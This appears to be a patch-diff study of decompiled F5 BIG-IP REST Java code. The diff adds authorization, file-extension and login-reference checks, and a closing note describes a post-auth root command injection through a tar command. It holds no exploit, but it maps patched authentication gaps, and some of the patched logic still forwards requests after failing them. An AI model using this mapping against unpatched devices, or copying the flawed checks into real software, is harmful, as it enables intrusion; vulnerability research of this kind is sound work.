+1,26 @@ +package com.f5.rest.workers.asm; + +import java.util.ArrayList; +import java.util.List; + +public class AsmFileTransferConfiguration +{ + List<String> allowedFileFormat = new ArrayList<>(); + + public List<String> getAllowedFileFormat() { + return this.allowedFileFormat; + } + + public void setAllowedFileFormat(List<String> paramList) { + this.allowedFileFormat = paramList; + } + + public String getAllowedFileFormatAsString(String paramString) { + StringBuilder stringBuilder = new StringBuilder(); + for (String str : this.allowedFileFormat) { + stringBuilder.append(str).append(paramString); + } + stringBuilder.deleteCharAt(stringBuilder.lastIndexOf(paramString)); + return stringBuilder.toString(); + } +} diff --git a/com/f5/rest/workers/asm/AsmFileTransferWorker.java b/com/f5/rest/workers/asm/AsmFileTransferWorker.java index 87e0610..16144f9 100644 --- a/com/f5/rest/workers/asm/AsmFileTransferWorker.java +++ b/com/f5/rest/workers/asm/AsmFileTransferWorker.java @@ -1,133 +1,162 @@ package com.f5.rest.workers.asm; import com.f5.rest.common.RestOperation; import com.f5.rest.common.RestRequestCompletion; import com.f5.rest.common.RestServer; import com.f5.rest.common.RestWorker; import com.f5.rest.common.UrlHelper; -import com.f5.rest.workers.FileTransferWorker; +import com.f5.rest.workers.FileTransferPrivateWorker; +import com.f5.rest.workers.asm.utils.AsmRequestValidator; +import com.f5.rest.workers.asm.utils.ValidationResponse; import java.net.URI; import java.util.ArrayList; import java.util.List; +import java.util.logging.Logger; public class AsmFileTransferWorker extends RestWorker { + private final Logger LOGGER = Logger.getLogger(AsmFileTransferWorker.class.getSimpleName()); private String postDirectory; private String tmpDirectory; private String getDirectory; private final String PRIVATE_SUFFIX = "-private"; private boolean isDownload; private String localUri; public AsmFileTransferWorker(String paramString1, String paramString2, String paramString3) throws Exception { this.postDirectory = paramString2; this.tmpDirectory = paramString3; this.isDownload = false; this.localUri = paramString1; } public AsmFileTransferWorker(String paramString1, String paramString2) throws Exception { this.getDirectory = paramString2; this.isDownload = true; this.localUri = paramString1; } public void onStart(RestServer paramRestServer) throws Exception { if (this.isDownload) { - FileTransferWorker fileTransferWorker = new FileTransferWorker(this.getDirectory); - fileTransferWorker.setPublic(false); - getServer().registerWorker(this.localUri + "-private", (RestWorker)fileTransferWorker); + FileTransferPrivateWorker fileTransferPrivateWorker = new FileTransferPrivateWorker(this.getDirectory); + fileTransferPrivateWorker.setPublic(false); + getServer().registerWorker(this.localUri + "-private", (RestWorker)fileTransferPrivateWorker); } else { - FileTransferWorker fileTransferWorker = new FileTransferWorker(this.postDirectory, this.tmpDirectory); - fileTransferWorker.setPublic(false); - getServer().registerWorker(this.localUri + "-private", (RestWorker)fileTransferWorker); + FileTransferPrivateWorker fileTransferPrivateWorker = new FileTransferPrivateWorker(this.postDirectory, this.tmpDirectory); + fileTransferPrivateWorker.setPublic(false); + getServer().registerWorker(this.localUri + "-private", (RestWorker)fileTransferPrivateWorker); } ArrayList<String> arrayList = new ArrayList(); arrayList.add("/*"); getServer().registerCollectionWorker(arrayList, this); registerPublicUri(getUri().getPath(), null); super.onStart(paramRestServer); } protected void forwardRequest(final RestOperation request) { List list = request.getParsedCollectionEntries(); RestOperation restOperation = (RestOperation)request.clone(); + URI uRI = getUri(); try { if (list == null || list.size() == 0) { uRI = UrlHelper.buildLocalUri(getServer(), new String[] { this.localUri + "-private" }); } else { String str1 = request.getAuthUser(); String str2 = str1 + "~" + ((RestOperation.ParsedCollectionEntry)list.get(0)).entryKey; uRI = UrlHelper.buildLocalUri(getServer(), new String[] { this.localUri + "-private", "/", str2 }); } } catch (Exception exception) {} restOperation.setUri(uRI).setCompletion(new RestRequestCompletion() { public void completed(RestOperation param1RestOperation) { String str = param1RestOperation.getBodyAsString(); if (str == null || str.isEmpty()) { request.setBinaryBody(param1RestOperation.getBinaryBody()); } else { request.setBody(str); } request.complete(); } public void failed(Exception param1Exception, RestOperation param1RestOperation) { request.fail(param1Exception); } }); sendRequest(restOperation); } protected void onGet(RestOperation paramRestOperation) { forwardRequest(paramRestOperation); } protected void onQuery(RestOperation paramRestOperation) { forwardRequest(paramRestOperation); } protected void onPost(RestOperation paramRestOperation) { + this.LOGGER.info("Validating the request"); + ValidationResponse validationResponse1 = validateRequest(paramRestOperation); + if (!validationResponse1.isValid()) { + paramRestOperation.setStatusCode(401); + paramRestOperation.fail(new SecurityException(validationResponse1.getMessage())); + } + ValidationResponse validationResponse2 = AsmRequestValidator.validateFileExtension(paramRestOperation); + if (!validationResponse2.isValid()) { + paramRestOperation.fail(new IllegalArgumentException(validationResponse2.getMessage())); + } forwardRequest(paramRestOperation); } protected void onDelete(RestOperation paramRestOperation) { forwardRequest(paramRestOperation); } protected void onPatch(RestOperation paramRestOperation) { forwardRequest(paramRestOperation); } protected void onPut(RestOperation paramRestOperation) { forwardRequest(paramRestOperation); } + + private ValidationResponse validateRequest(RestOperation paramRestOperation) { + ValidationResponse validationResponse = AsmRequestValidator.validateUserAuthorization(paramRestOperation); + if (!validationResponse.isValid()) { + + ValidationResponse validationResponse1 = AsmRequestValidator.validateUserHasFullAuthorization(paramRestOperation); + if (!validationResponse1.isValid()) { + return validationResponse; + } + return new ValidationResponse(true); + } + + return validationResponse; + } } diff --git a/com/f5/rest/workers/asm/utils/AsmRequestValidator.java b/com/f5/rest/workers/asm/utils/AsmRequestValidator.java new file mode 100644 index 0000000..6f80b68 --- /dev/null +++ b/com/f5/rest/workers/asm/utils/AsmRequestValidator.java @@ -0,0 +1,119 @@ +package com.f5.rest.workers.asm.utils; + +import com.f5.mcp.data.DataObject; +import com.f5.mcp.io.Connection; +import com.f5.mcp.io.ConnectionManager; +import com.f5.mcp.io.ObjectManager; +import com.f5.mcp.schema.SchemaAttribute; +import com.f5.mcp.schema.SchemaStructured; +import com.f5.mcp.schema.auth.AuthModule; +import com.f5.mcp.schema.auth.UserRolePartition; +import com.f5.mcp.schema.common.McpUserRoleT; +import com.f5.rest.common.RestOperation; +import com.f5.rest.workers.asm.AsmFileTransferConfiguration; +import com.f5.rest.workers.filemanagement.FileManagementHelper; +import com.google.gson.Gson; +import java.io.BufferedReader; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.logging.Logger; +import java.util.regex.Pattern; + + + + + +public class AsmRequestValidator +{ + private static final Logger LOGGER = Logger.getLogger(AsmRequestValidator.class.getName()); + private static final String MCP_PARTITION_ALL = "[All]"; + private static final String MCP_PARTITION_COMMON = "Common"; + private static final ArrayList<McpUserRoleT> allowedRoles = new ArrayList<>(Arrays.asList(new McpUserRoleT[] { McpUserRoleT.ROLE_APPLICATION_SECURITY_ADMINISTRATOR, McpUserRoleT.ROLE_APPLICATION_SECURITY_OPERATIONS_ADMINISTRATOR, McpUserRoleT.ROLE_RESOURCE_ADMIN, McpUserRoleT.ROLE_ADMINISTRATOR, McpUserRoleT.ROLE_APPLICATION_SECURITY_EDITOR })); + + + + + + private static String ALLOWED_FILE_FORMATS_CONFIG = "/etc/asm-file-transfer-config.json"; + private static String FILE_REGEX; + + static { + try { + File file = new File(ALLOWED_FILE_FORMATS_CONFIG); + BufferedReader bufferedReader = new BufferedReader(new FileReader(file)); + AsmFileTransferConfiguration asmFileTransferConfiguration = (AsmFileTransferConfiguration)(new Gson()).fromJson(bufferedReader, AsmFileTransferConfiguration.class); + String str = asmFileTransferConfiguration.getAllowedFileFormatAsString("|"); + FILE_REGEX = "^[a-zA-Z0-9_. -~\\(\\)\\%]+\\.(" + str + ")"; + } catch (FileNotFoundException fileNotFoundException) { + LOGGER.severe("FILE REGEX validator was not calculated:" + fileNotFoundException.getMessage()); + } + } + + public static ValidationResponse validateUserAuthorization(RestOperation paramRestOperation) { + String str = paramRestOperation.getAuthUser(); + if (str == null) { + return new ValidationResponse(false, "Could not get the authorized username for this incoming request"); + } + + boolean bool = (str.equals("admin") || str.equals("root")) ? true : false; + return new ValidationResponse(bool, String.format("User '%s' is not authorized", new Object[] { str })); + } + + public static ValidationResponse validateUserHasFullAuthorization(RestOperation paramRestOperation) { + ConnectionManager connectionManager = ConnectionManager.instance(); + if (connectionManager == null) { + ConnectionManager.init(); + connectionManager = ConnectionManager.instance(); + } + Connection connection = null; + try { + connection = connectionManager.getConnection(); + ObjectManager objectManager = new ObjectManager((SchemaStructured)AuthModule.UserRolePartition, connection); + DataObject dataObject = objectManager.newObject(); + dataObject.put((SchemaAttribute)UserRolePartition.USER, paramRestOperation.getAuthUser()); + DataObject[] arrayOfDataObject = objectManager.getAll(dataObject); + if (arrayOfDataObject != null) { + for (DataObject dataObject1 : arrayOfDataObject) { + String str = dataObject1.getString((SchemaAttribute)UserRolePartition.PARTITION); + if (str.equals("[All]") || str.equals("Common")) { + McpUserRoleT mcpUserRoleT = (McpUserRoleT)dataObject1.getToken((SchemaAttribute)UserRolePartition.ROLE); + if (allowedRoles.contains(mcpUserRoleT)) { + return new ValidationResponse(true); + } + } + } + } + } catch (Exception exception) { + return new ValidationResponse(false, exception.getMessage()); + } finally { + if (connection != null) { + connectionManager.freeConnection(connection); + } + } + return new ValidationResponse(false); + } + + public static ValidationResponse validateFileExtension(RestOperation paramRestOperation) { + List list = paramRestOperation.getParsedCollectionEntries(); + if (list == null || list.isEmpty()) { + return new ValidationResponse(true); + } + + String str = ((RestOperation.ParsedCollectionEntry)list.get(0)).entryKey; + if (!Pattern.matches(FILE_REGEX, str)) { + FileManagementHelper.cleanPostForResponse(paramRestOperation); + paramRestOperation.fail(new IllegalArgumentException("A valid file format must be supplied")); + return new ValidationResponse(false, "A valid file format must be supplied"); + } + return new ValidationResponse(true); + } + + public static ValidationResponse validateRequestSource(RestOperation paramRestOperation) { + LOGGER.info(paramRestOperation.getUri().toString()); + return new ValidationResponse(true); + } +} diff --git a/com/f5/rest/workers/asm/utils/ValidationResponse.java b/com/f5/rest/workers/asm/utils/ValidationResponse.java new file mode 100644 index 0000000..109fa81 --- /dev/null +++ b/com/f5/rest/workers/asm/utils/ValidationResponse.java @@ -0,0 +1,26 @@ +package com.f5.rest.workers.asm.utils; + + + +public class ValidationResponse +{ + private boolean isValid; + private String message; + + public ValidationResponse(boolean paramBoolean) { + this.isValid = paramBoolean; + } + + public ValidationResponse(boolean paramBoolean, String paramString) { + this.isValid = paramBoolean; + this.message = paramString; + } + + public String getMessage() { + return this.message; + } + + public boolean isValid() { + return this.isValid; + } +} diff --git a/com/f5/rest/workers/authn/AuthnWorker.java b/com/f5/rest/workers/authn/AuthnWorker.java index 0658099..ddbe4cf 100644 --- a/com/f5/rest/workers/authn/AuthnWorker.java +++ b/com/f5/rest/workers/authn/AuthnWorker.java @@ -1,555 +1,587 @@ package com.f5.rest.workers.authn; import com.f5.rest.common.RestErrorResponse; import com.f5.rest.common.RestHelper; import com.f5.rest.common.RestOperation; import com.f5.rest.common.RestReference; import com.f5.rest.common.RestRequestCompletion; import com.f5.rest.common.RestRequestSender; import com.f5.rest.common.RestServer; import com.f5.rest.common.RestWorker; import com.f5.rest.common.UrlHelper; +import com.f5.rest.common.Utilities; import com.f5.rest.common.WellKnownPorts; import com.f5.rest.workers.AuthTokenItemState; import com.f5.rest.workers.RestResolverGroupEntry; import com.f5.rest.workers.authn.providers.AuthProviderCollectionState; import com.f5.rest.workers.authn.providers.AuthProviderLoginState; import com.f5.rest.workers.authn.providers.AuthProviderState; import com.f5.rest.workers.authn.providers.local.LocalAuthLoginWorker; import com.f5.rest.workers.authz.AuthSourceState; import com.f5.rest.workers.authz.AuthzHelper; import java.net.URI; import java.util.Collections; import java.util.HashMap; import java.util.Map; import java.util.concurrent.Callable; import java.util.concurrent.CancellationException; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import java.util.concurrent.atomic.AtomicInteger; - public class AuthnWorker extends RestWorker { public static final String LOGIN_PATH_SUFFIX = "login"; public static final String WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { "shared/", "authn", "login" }); public static final String MAX_NUMBER_LOGIN_FAILURE_MSG = "Maximum number of login attempts exceeded."; public static final String LOGIN_ERROR_MSG = "Unable to login using supplied information. If you are attempting to login with a configured authentication provider it may be unavailable or no longer exist."; public static final int MAX_NUMBER_LOGIN_FAILURES = 5; private static final long FAILED_ATTEMPTS_TIMEOUT = TimeUnit.MINUTES.toMicros(5L); private static final int GET_AUTHSOURCE_MAX_WAIT_MILLIS = 800; private static final int GET_AUTHSOURCE_BASE_WAIT_MILLIS = 10; private static final int GET_AUTHSOURCE_EXPONENT_FACTOR = 2; private static final int GET_AUTHSOURCE_EXPONENTIAL_ATTEMPTS = 5; private static final int GET_AUTHSOURCE_LINEAR_FACTOR = 50; private final int LOOKUP_AUTH_MAX_WAIT_MILLIS = (int)TimeUnit.SECONDS.toMillis(10L); private final int LOOKUP_AUTH_MAX_RETRIES = 10; private final Map<URI, AtomicInteger> lookupAuthRetryCountReferenceMap = Collections.synchronizedMap(new HashMap<>()); private class LoginFailures { public int failures = 0; private LoginFailures() {} public long lastFailureMicros; } private final Map<String, RestReference> loginNameToReferenceMap = Collections.synchronizedMap(new HashMap<>()); private final Map<String, LoginFailures> loginFailureMap = Collections.synchronizedMap(new HashMap<>()); private final Map<URI, URI> subscriptions = Collections.synchronizedMap(new HashMap<>()); public void onStart(RestServer server) throws Exception { setSynchronized(true); setMaxPendingOperations(10000L); setPersisted(false); setReplicated(false); setIndexed(false); setPublic(true); completeStart(null, new URI[] { UrlHelper.buildLocalUriSafe(server, new String[] { LocalAuthLoginWorker.WORKER_URI_PATH }), UrlHelper.buildLocalUriSafe(server, new String[] { "shared/resolver/groups" }) }); } protected void onStartCompleted(Object state, Exception stateLoadEx, Exception availabilityEx) throws Exception { subscribeToAuthProviderGroup(); + + + this.subscriptions.put(makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH), makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH)); + + super.onStartCompleted(state, stateLoadEx, availabilityEx); } private void subscribeToAuthProviderGroup() throws Exception { RestRequestCompletion subscribeCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { AuthnWorker.this.getLogger().warningFmt("Failed to subscribe to auth providers: %s", new Object[] { RestHelper.throwableStackToString(ex) }); } public void completed(RestOperation operation) { AuthnWorker.this.getLogger().fine("Successfully subscribed to auth providers"); AuthzHelper.getAllAuthProviders(AuthnWorker.this.getServer(), new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { AuthnWorker.this.getLogger().warningFmt("Failed to get all auth providers: %s", new Object[] { RestHelper.throwableStackToString(ex) }); } public void completed(RestOperation operation) { AuthnWorker.this.processAuthProviderGroupNotification(operation); } }); } }; RestRequestCompletion notificationCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { AuthnWorker.this.getLogger().severeFmt("Notification from auth providers failed: %s", new Object[] { RestHelper.throwableStackToString(ex) }); } public void completed(RestOperation operation) { AuthnWorker.this.processAuthProviderGroupNotification(operation); } }; AuthzHelper.subscribeToAuthProviderGroup(getServer(), subscribeCompletion, notificationCompletion); } private void processAuthProviderGroupNotification(RestOperation operation) { RestResolverGroupEntry entry = (RestResolverGroupEntry)operation.getTypedBody(RestResolverGroupEntry.class); if (entry.references != null) { for (RestReference ref : entry.references) { if (operation.getMethod().equals(RestOperation.RestMethod.DELETE)) { unsubscribe(ref.link); continue; } subscribeToAuthProvider(ref.link); } } } private void lookupAuthProviderCollection(URI authProviderLink) { this.lookupAuthRetryCountReferenceMap.put(authProviderLink, new AtomicInteger(0)); lookupAuthProviderCollectionRetry(authProviderLink); } private void lookupAuthProviderCollectionRetry(final URI authProviderLink) { RestRequestCompletion completion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { if (((AtomicInteger)AuthnWorker.this.lookupAuthRetryCountReferenceMap.get(authProviderLink)).intValue() > 10) { AuthnWorker.this.getLogger().severeFmt("Max retries; failed to lookup auth provider %s: %s", new Object[] { this.val$authProviderLink.toString(), RestHelper.throwableStackToString(ex) }); return; } AuthnWorker.this.getLogger().warningFmt("Failed to lookup auth provider %s: Retry number %s", new Object[] { this.val$authProviderLink.toString(), Integer.valueOf(((AtomicInteger)AuthnWorker.access$100(this.this$0).get(this.val$authProviderLink)).intValue()) }); AuthnWorker.this.scheduleTaskOnce(new Runnable() { public void run() { ((AtomicInteger)AuthnWorker.this.lookupAuthRetryCountReferenceMap.get(authProviderLink)).incrementAndGet(); AuthnWorker.this.lookupAuthProviderCollectionRetry(authProviderLink); } }, AuthnWorker.this.LOOKUP_AUTH_MAX_WAIT_MILLIS); } public void completed(RestOperation operation) { AuthProviderCollectionState collectionState = (AuthProviderCollectionState)operation.getTypedBody(AuthProviderCollectionState.class); for (AuthProviderState item : collectionState.items) { AuthnWorker.this.addAuthProvider(item); } AuthnWorker.this.lookupAuthRetryCountReferenceMap.remove(authProviderLink); } }; RestOperation op = RestOperation.create().setUri(makeLocalUri(authProviderLink)).setCompletion(completion); sendGet(op); } private void unsubscribe(URI providerCollectionLink) { URI notificationWorkerUri = this.subscriptions.get(providerCollectionLink); if (notificationWorkerUri == null) { return; } RestOperation subscribeRequest = RestOperation.create().setUri(makeLocalUri(providerCollectionLink)); try { sendDeleteForSubscription(subscribeRequest, notificationWorkerUri); } catch (Exception e) { getLogger().fineFmt("Failed to unsubscribe to %s: %s", new Object[] { providerCollectionLink.getPath(), RestHelper.throwableStackToString(e) }); } } private void subscribeToAuthProvider(final URI providerCollectionLink) { RestRequestCompletion notificationCompletion = new RestRequestCompletion() { public void completed(RestOperation operation) { AuthProviderState state = (AuthProviderState)operation.getTypedBody(AuthProviderState.class); if (operation.getMethod().equals(RestOperation.RestMethod.DELETE)) { AuthnWorker.this.removeAuthProvider(state); } else { AuthnWorker.this.addAuthProvider(state); } } public void failed(Exception ex, RestOperation operation) { AuthnWorker.this.getLogger().severeFmt("%s", new Object[] { ex.getMessage() }); } }; RestRequestCompletion subscribeCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { AuthnWorker.this.getLogger().severeFmt("Failed to subscribe to auth provider %s: %s", new Object[] { this.val$providerCollectionLink.getPath(), RestHelper.throwableStackToString(ex) }); } public void completed(RestOperation operation) { AuthnWorker.this.getLogger().fine("Successfully subscribed to auth provider."); AuthnWorker.this.lookupAuthProviderCollection(providerCollectionLink); } }; RestOperation subscribeRequest = RestOperation.create().setUri(makeLocalUri(providerCollectionLink)).setCompletion(subscribeCompletion); try { URI notificationUri = sendPostForSubscription(subscribeRequest, getServer(), notificationCompletion); this.subscriptions.put(providerCollectionLink, notificationUri); } catch (Exception e) { getLogger().severeFmt("Error while subscribing to %s: %s", new Object[] { providerCollectionLink.getPath(), RestHelper.throwableStackToString(e) }); } } private void addAuthProvider(AuthProviderState state) { getLogger().fineFmt("Added a new auth provider [%s] at [%s].", new Object[] { state.name, state.loginReference.link }); this.loginNameToReferenceMap.put(state.name, state.loginReference); } private void removeAuthProvider(AuthProviderState state) { getLogger().fineFmt("Removed an auth provider %s.", new Object[] { state.name }); this.loginNameToReferenceMap.remove(state.name); } protected void onPost(final RestOperation request) { final String incomingAddress = request.getRemoteSender(); final AuthnWorkerState state = (AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class); AuthProviderLoginState loginState = (AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class); - if (state.password == null && state.bigipAuthCookie == null) { + if (Utilities.isNullOrEmpty(state.password) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) { state.bigipAuthCookie = request.getCookie("BIGIPAuthCookie"); loginState.bigipAuthCookie = state.bigipAuthCookie; } if (incomingAddress != null && incomingAddress != "Unknown") { loginState.address = incomingAddress; } - if ((state.username == null || state.password == null) && state.bigipAuthCookie == null) { + if ((Utilities.isNullOrEmpty(state.username) || Utilities.isNullOrEmpty(state.password)) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) { + request.setStatusCode(401); String msg = String.format("username and password must not be null or %s in Cookie header should be used.", new Object[] { "BIGIPAuthCookie" }); request.fail(new SecurityException(msg)); + return; } + boolean isAllowedLinks = false; + + + + + + + + if (state.loginReference != null && state.loginReference.link != null) { + + for (URI iter : this.subscriptions.keySet()) { + if (state.loginReference.link.getPath().equals(iter.getPath())) { + isAllowedLinks = true; + break; + } + } + if (!isAllowedLinks) { + getLogger().severe("No login provider found."); + String msg = String.format("No login provider found.", new Object[0]); + request.fail(new SecurityException(msg)); + + return; + } + } + state.password = null; request.setBody(state); if (state.loginReference == null) { if (state.loginProviderName == null) { ExecutorService executorService = Executors.newSingleThreadExecutor(); Callable<String> callable = new Callable<String>() { public String call() throws Exception { final String[] providerName = { null }; RestRequestCompletion getAuthSourceTypeCompletion = new RestRequestCompletion() { public void completed(RestOperation response) { AuthSourceState sourceState = (AuthSourceState)response.getTypedBody(AuthSourceState.class); if ("local".equals(sourceState.type)) { providerName[0] = "local"; } else { providerName[0] = "tmos"; } } public void failed(Exception ex, RestOperation response) { request.fail(ex); } }; AuthzHelper.getAuthSource(AuthnWorker.this.getServer(), getAuthSourceTypeCompletion); try { int remainingSleepTime = 800, numberOfAttempts = 0; int multiplier = 1; numberOfAttempts = 1; for (; providerName[0] == null; multiplier *= 2, numberOfAttempts++) { TimeUnit.MILLISECONDS.sleep((10 * multiplier)); remainingSleepTime -= 10 * multiplier; if (providerName[0] != null || numberOfAttempts == 5) { break; } } while (providerName[0] == null) { TimeUnit.MILLISECONDS.sleep(50L); remainingSleepTime -= 50; } AuthnWorker.this.getLogger().fine("Total Time taken to set the loginProviderName is " + (800 - remainingSleepTime) + "ms"); } catch (InterruptedException e) { AuthnWorker.this.getLogger().severe("Error while setting value to loginProviderName when no loginReference and no loginProviderName were given"); } return providerName[0]; } }; Future<String> future = executorService.submit(callable); try { state.loginProviderName = future.get(800L, TimeUnit.MILLISECONDS); executorService.shutdown(); } catch (TimeoutException e) { getLogger().severe("Maximum wait time(800ms) exceeded while getting value of loginProviderName"); future.cancel(true); if (!executorService.isShutdown()) { executorService.shutdown(); } } catch (CancellationException|java.util.concurrent.ExecutionException|InterruptedException e) { getLogger().severe("Error while getting value of loginProviderName:" + RestHelper.throwableStackToString(e)); if (!executorService.isShutdown()) { executorService.shutdown(); } } getLogger().fineFmt("loginProviderName set to %s as default value, based on authentication source type when it was null", new Object[] { state.loginProviderName }); } if (state.loginProviderName != null) { if (state.loginProviderName.equals("local")) { state.loginReference = new RestReference(makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH)); } else if (this.loginNameToReferenceMap.containsKey(state.loginProviderName)) { state.loginReference = this.loginNameToReferenceMap.get(state.loginProviderName); } else { request.fail(new IllegalArgumentException("loginProviderName is invalid.")); return; } } else { request.fail(new IllegalArgumentException("loginProviderName is null.")); return; } } final String failureKey = String.format("%s:%s", new Object[] { (state.username == null) ? state.bigipAuthCookie : state.username, state.loginReference.link }); LoginFailures failures = this.loginFailureMap.get(failureKey); if (failures != null && failures.failures >= 5) { if (RestHelper.getNowMicrosUtc() - failures.lastFailureMicros < FAILED_ATTEMPTS_TIMEOUT) { request.setStatusCode(401); request.fail(new SecurityException("Maximum number of login attempts exceeded.")); return; } this.loginFailureMap.remove(failureKey); } RestRequestCompletion authCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { String loginProviderId = (state.loginProviderName == null) ? state.loginReference.link.toString() : state.loginProviderName; String clientId = (state.username == null) ? ("Cookie " + state.bigipAuthCookie) : ("User " + state.username); AuthnWorker.this.getLogger().infoFmt("%s failed to login from %s using the %s authentication provider", new Object[] { clientId, this.val$incomingAddress, loginProviderId }); AuthnWorker.LoginFailures failures = (AuthnWorker.LoginFailures)AuthnWorker.this.loginFailureMap.get(failureKey); if (failures == null) { failures = new AuthnWorker.LoginFailures(); AuthnWorker.this.loginFailureMap.put(failureKey, failures); } failures.lastFailureMicros = RestHelper.getNowMicrosUtc(); failures.failures++; request.setStatusCode(401); if (ex.getMessage() == null || ex.getMessage().isEmpty()) { request.fail(ex, RestErrorResponse.create().setMessage("Unable to login using supplied information. If you are attempting to login with a configured authentication provider it may be unavailable or no longer exist.")); return; } request.fail(ex); } public void completed(RestOperation operation) { AuthnWorker.this.loginFailureMap.remove(failureKey); AuthProviderLoginState loggedIn = (AuthProviderLoginState)operation.getTypedBody(AuthProviderLoginState.class); String authProviderId = loggedIn.authProviderName; if (authProviderId == null) { authProviderId = (state.loginProviderName == null) ? state.loginReference.link.toString() : state.loginProviderName; } AuthnWorker.this.getLogger().finestFmt("User %s successfully logged in from %s using the %s authentication provider.", new Object[] { loggedIn.username, this.val$incomingAddress, authProviderId }); AuthnWorker.generateToken(AuthnWorker.this.getServer(), request, state, loggedIn); } }; RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion); sendPost(checkAuth); } public static void generateToken(RestServer server, final RestOperation request, final AuthnWorkerState authState, AuthProviderLoginState loginState) { if (authState.needsToken != null && !authState.needsToken.booleanValue()) { request.setBody(authState); request.complete(); return; } AuthTokenItemState token = new AuthTokenItemState(); token.userName = loginState.username; token.user = loginState.userReference; token.groupReferences = loginState.groupReferences; token.authProviderName = loginState.authProviderName; token.address = request.getXForwarderdFor(); RestRequestCompletion tokenCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { request.fail(ex); } public void completed(RestOperation operation) { AuthTokenItemState token = (AuthTokenItemState)operation.getTypedBody(AuthTokenItemState.class); authState.token = token; request.setBody(authState); request.complete(); } }; RestOperation createToken = RestOperation.create().setUri(UrlHelper.buildLocalUriSafe(server, new String[] { WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH })).setBody(token).setCompletion(tokenCompletion).setReferer("authn-generate-token"); RestRequestSender.sendPost(createToken); } } diff --git a/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java b/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java index 5e33f0d..caba75d 100644 --- a/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java +++ b/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java @@ -1,17 +1,18 @@ package com.f5.rest.workers.liveupdate; import com.f5.rest.common.RestWorker; -import com.f5.rest.workers.FileTransferWorker; +import com.f5.rest.workers.FileTransferPrivateWorker; -public class LiveUpdateDownloadWorker extends LiveUpdateFileTransferWorker { +public class LiveUpdateDownloadWorker + extends LiveUpdateFileTransferWorker { private String getDirectory; public LiveUpdateDownloadWorker(String paramString1, String paramString2) { super(paramString1); this.getDirectory = paramString2; } protected RestWorker getRestWorker() throws Exception { - return (RestWorker)new FileTransferWorker(this.getDirectory); + return (RestWorker)new FileTransferPrivateWorker(this.getDirectory); } } diff --git a/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java b/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java index 03cddd7..d46ac00 100644 --- a/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java +++ b/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java @@ -1,59 +1,60 @@ package com.f5.rest.workers.liveupdate; import com.f5.rest.common.RestOperation; import com.f5.rest.common.RestWorker; -import com.f5.rest.workers.FileTransferWorker; +import com.f5.rest.workers.FileTransferPrivateWorker; import java.io.File; import java.nio.file.Files; import java.nio.file.LinkOption; import java.nio.file.Path; import java.nio.file.Paths; import java.nio.file.attribute.GroupPrincipal; import java.nio.file.attribute.PosixFileAttributeView; import java.nio.file.attribute.PosixFileAttributes; import java.nio.file.attribute.UserPrincipal; import java.util.List; public class LiveUpdateUploadWorker - extends LiveUpdateFileTransferWorker { + extends LiveUpdateFileTransferWorker +{ private String postDirectory; private String tmpDirectory; public LiveUpdateUploadWorker(String paramString1, String paramString2, String paramString3) { super(paramString1); this.postDirectory = paramString2; this.tmpDirectory = paramString3; } protected void onRequestComplete(RestOperation paramRestOperation) { List list = paramRestOperation.getParsedCollectionEntries(); if (list != null && !list.isEmpty()) { String str = "/var/lib/hsqldb/live-update/update-files/" + ((RestOperation.ParsedCollectionEntry)list.get(0)).entryKey; File file = new File(str); if (file.exists()) { try { File file1 = new File("/var/lib/hsqldb/live-update/update-files"); PosixFileAttributes posixFileAttributes = Files.<PosixFileAttributes>readAttributes(file1.toPath(), PosixFileAttributes.class, new LinkOption[] { LinkOption.NOFOLLOW_LINKS }); GroupPrincipal groupPrincipal = posixFileAttributes.group(); UserPrincipal userPrincipal = posixFileAttributes.owner(); PosixFileAttributeView posixFileAttributeView = Files.<PosixFileAttributeView>getFileAttributeView(file.toPath(), PosixFileAttributeView.class, new LinkOption[] { LinkOption.NOFOLLOW_LINKS }); posixFileAttributeView.setGroup(groupPrincipal); Path path = Paths.get(str, new String[0]); Files.setOwner(path, userPrincipal); file.setReadable(true, false); } catch (Exception exception) {} } } } protected RestWorker getRestWorker() throws Exception { - FileTransferWorker fileTransferWorker = new FileTransferWorker(this.postDirectory, this.tmpDirectory); - fileTransferWorker.setPostFileGrooming(false); - return (RestWorker)fileTransferWorker; + FileTransferPrivateWorker fileTransferPrivateWorker = new FileTransferPrivateWorker(this.postDirectory, this.tmpDirectory); + fileTransferPrivateWorker.setPostFileGrooming(false); + return (RestWorker)fileTransferPrivateWorker; } }
RCE
This is a post-auth root command injection in a tar(1) command.
Patch
Filtering is applied to the user-controlled taskState.filePath parameter.
